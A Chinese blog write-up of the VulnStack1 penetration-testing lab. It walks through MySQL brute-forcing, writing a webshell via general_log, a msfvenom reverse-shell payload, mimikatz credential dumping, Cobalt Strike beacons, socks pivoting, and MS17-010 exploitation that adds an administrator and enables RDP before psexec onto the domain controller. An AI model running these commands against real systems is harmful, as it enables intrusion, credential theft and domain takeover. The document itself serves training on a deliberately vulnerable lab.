【内网渗透】红日VulnStack1

本文最后更新于:2023年10月22日 中午

[TOC]

【内网渗透】红日VulnStack1

信息收集

首先nmap扫ip

1
2
3
4
5
6
nmap -sP 192.168.56.0/24


Nmap scan report for 192.168.56.143
Host is up (0.00028s latency).
MAC Address: 00:0C:29:E4:51:45 (VMware)

然后扫描ip详细信息:

1
nmap -T4 -A 192.168.56.143

image-20230917193830683

扫描到80和3306端口,访问一下:

image-20230917194024213

这里可以检测mysql数据库的账号密码是否正确,于是猜测账号:root,爆破密码

image-20230917194339243

爆破出密码为root,于是我们使用dirsearch扫一下目录:

1
dirsearch -u http://192.168.56.143/

image-20230917194613294

image-20230917194631995

使用刚刚爆破出来的密码登录数据库

mysql getshell有两种思路:

  • select … into outfile …
  • general_log

into outfile写入shell是有条件的:

1
2
3
4
使用需看要secure_file_priv的值。
当value为“null”时,不允许读取任意文件
当value为“空”时,允许读取任意文件
value也可设置为其他路径。

image-20230917195341541

这里查询出secure_file_priv=NULL,说明这条路行不通了

所以这里需要采取另一种方式

mysql慢日志getshell

慢日志:

一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中

查看服务器默认时间值方式如下:

1
show global variables like "%long_query_time%"

image-20230917195929411

这里是10秒

想要通过mysql日志导入木马,我们先执行命令,查看日志状态:

1
show global variables like "%general%"

image-20230917200251813

当开启general_log=on时,SQL执行的sql语句的会记录在stu1.log中,如果我们可以修改general_log_file的值,那么生成的文件就可控,进而可getshell

所以执行命令:

1
set global general_log='on'

这时general_log已经打开了

然后执行:

1
set global general_log_file='C:/phpStudy/www/shell.php'

修改日志写入shell.php

image-20230917200913934

接下来执行sql语句,即可将一个话木马写入shell.php中

image-20230917201022482

成功写入:

image-20230917201040775

蚁剑直接连接上去:

image-20230917201454395

发现是管理员权限(但似乎是域用户)

接下来就进入内网渗透了

内网信息探测

win7上线msf

首先创建一个msf木马:

1
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.56.132 LPORT=4444 -f exe > msf.exe

使用蚁剑上传msf.exe

然后msf开启监听,同时运行msf.exe

image-20230921141520778

成功反弹到msf上了,我们尝试一下基础提权:

1
2
3
4
5
6
meterpreter > getuid
Server username: GOD\Administrator
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

提权成系统权限

mimikatz获取账号密码

加载mimikatz模块,加载模块前需要先将meterpreter迁移到64位的进程,而且该进程也需要是system权限运行的

我们使用msf 的ps命令查看一下进程:

image-20230921144154777

这里的500进程是system权限,我们迁移到该进程,然后加载mimikatz,执行命令

1
2
3
migrate PID
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords

现在提示mimikatz在msf中被kiwi取代了,所以我们使用kiwi模块

查看一下如何使用:

1
meterpreter > help kiwi

image-20230921144527348

执行这个命令,获得账号密码

image-20230921144557792

win7靶机上线Cobalt Strike

image-20230917211028216

kali运行cs server端

然后我们win11运行client端,输入密码:123456

添加一个cs监听器:

image-20230917211141011

然后生成win后门文件:

image-20230917211222910

选择之前那个监听器:

image-20230917211259950

将exe上传至靶机,运行一下即可上线cs:

image-20230917211340419

在cs中运行命令前面要加上shell,我们查一下ip

1
shell ipconfig

image-20230917211507584

hashdump可以查看经过hash加密的密码

image-20230917211842023

我们可以通过mimikatz来获得明文密码

image-20230917212051972

得到域用户的账号与密码

域信息收集

1
2
3
4
5
6
7
8
9
10
11
12
net view                 # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)

此处使用Cobalt Strike演示

ipconfig /all查看到了内网ip,并且有域:god.org

image-20230921150205736

或者可以使用net config Workstation来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等全面的信息:

image-20230921150346866

上面发现 DNS 服务器名为 god.org,当前登录域为 GOD,那么我们执行:net view /domain 查看有几个域(可能不止一个域)

image-20230921150622378

查看一下同一个域中的机器:net view

image-20230921150743176

判断主域 域控制器 net time /domain

image-20230921151105093

查看一下域用户,net user /domain

image-20230921152426943
1
2
3
4
5
6
整理一下信息
域:god.org
域内有三个用户:Administrator、ligang、liukaifeng01
域内三台主机:ROOT-TVI862UBEH(192.168.52.141)、STU1(win7)、OWA
域控:OWA(192.168.52.138)
win7内网ip:192.168.52.88

在cs中继续执行net view查看查看局域网内其他主机信息(主机名称、IP地址),可得知域控主机的 IP 为 192.168.52.138,如下图所示:

image-20230921152927025

image-20230921152821654

至此内网域信息搜集完毕,已经明确了域控主机为192.168.52.138,同时还存在另一台域成员192.168.52.141,接下来的目标就是横向渗透拿下域控!

内网横向渗透

添加路由、挂socks代理

添加路由的目的是为了让MSF其他模块能访问内网的其他主机,即52网段的攻击流量都通过已渗透的这台目标主机的meterpreter会话来传递

添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务

(添加路由一定要在挂代理之前,因为代理需要用到路由功能)

MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由,直接使用 MSF 去访问原本不能直接访问的内网资源,只要路由可达我们既可使用 MSF 来进行探测了。

自动创建路由:

1
meterpreter > run post/multi/manage/autoroute

查看路由:

1
meterpreter > run autoroute -p

image-20230921154256965

添加完成路由之后我们就可以使用msf去探测、攻击192.168.52.0/24网段的机器了

但是这仅仅局限与msf中,如果我们想要在外网也能访问,我们需要加一个socks代理:

1
2
3
# 首先background退回上层
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > run

image-20230921154818657

这样就会在1080端口弄一个socks5代理,接下来只需要在proxychains配置文件修改一下就行:

image-20230921154937938

测试一下:

1
proxychains4 curl http://192.168.52.88/

image-20230921155919484

发现代理成功了

内网端口扫描

nmap端口扫描

我们加上代理使用nmap测一下win2003的主机开放端口

1
proxychains4 nmap -p 0-1000 -Pn -sT 192.168.52.141
image-20230921160145133
msf端口扫描

(这里想要扫描到内网需要配置一个路由)

1
2
3
4
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set rhosts 192.168.52.141
msf6 > set ports 80,135-139,445,3306,3389
msf6 > run

image-20230921160426438

扫一下192.168.52.138:

image-20230921160604590

这两台都开了445端口

永恒之蓝检测及利用

我们可以先使用use auxiliary/scanner/smb/smb_version扫描一下系统的版本:

image-20230921160954795

可以看到是win2003

打之前先探测一波:

1
2
3
4
search ms17-010
use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.52.141
run

image-20230921161705228

存在永恒之蓝

三台机器都存在ms17-010

先看server2003这台主机

直接使用ms17-010打一个shell回来(这里要注意一下,msf内置的17-010打2003有时候多次执行后msf就接收不到session,而且ms17-010利用时,脆弱的server 2003非常容易蓝屏)

而且使用msf的代理之后就不能使用反向shell了,我们需要使用正向shell。因为此处域中两台机器不出网

我们搜索一下msf有哪些能够利用的模块

image-20230921164413732

此处我们选择一下auxiliary/admin/smb/ms17_010_command,可以用来执行命令

1
2
3
4
5
6
7
8
9
use auxiliary/admin/smb/ms17_010_command
show options
set RHOSTS 192.168.52.141
set command net user leekos L372488621. /add #添加用户
run #成功执行
set command net localgroup administrators leekos /add #管理员权限
run #成功执行
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' # 开启3389端口
run #成功执行

然后我们连接:

image-20230921171049109

登上去了

image-20230921171154237

我们想利用exploit/windows/smb/ms17_010_psexec模块弄一个msf shell

1
2
3
4
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.141
run

但是成功不了

image-20230921173442689

根据:https://www.cnblogs.com/yokan/p/14021537.html,该模块是利用成功了的

直接getsystem就提升到了system权限

image-20230921173616278

拿下域控

在前面我们已经拿到了域用户的帐号密码,即administrator、L372488621. 我们现在要做的就是如何登录到域控上去

定位到域控制器的ip为192.168.52.138

因为之前抓到了域管理的账号密码所以直接使用 exploit/windows/smb/psexec模块拿下域控,且是管理员权限

(这是别人的图)

img

img

参考

https://www.cnblogs.com/yokan/p/14021537.html

https://blog.csdn.net/weixin_39190897/article/details/118353886

https://blog.csdn.net/qq_41821603/article/details/109948920#3hash_337


【内网渗透】红日VulnStack1
https://leekosss.github.io/2023/09/17/[内网渗透]vulnStack1/
作者
leekos
发布于
2023年9月17日
更新于
2023年10月22日
许可协议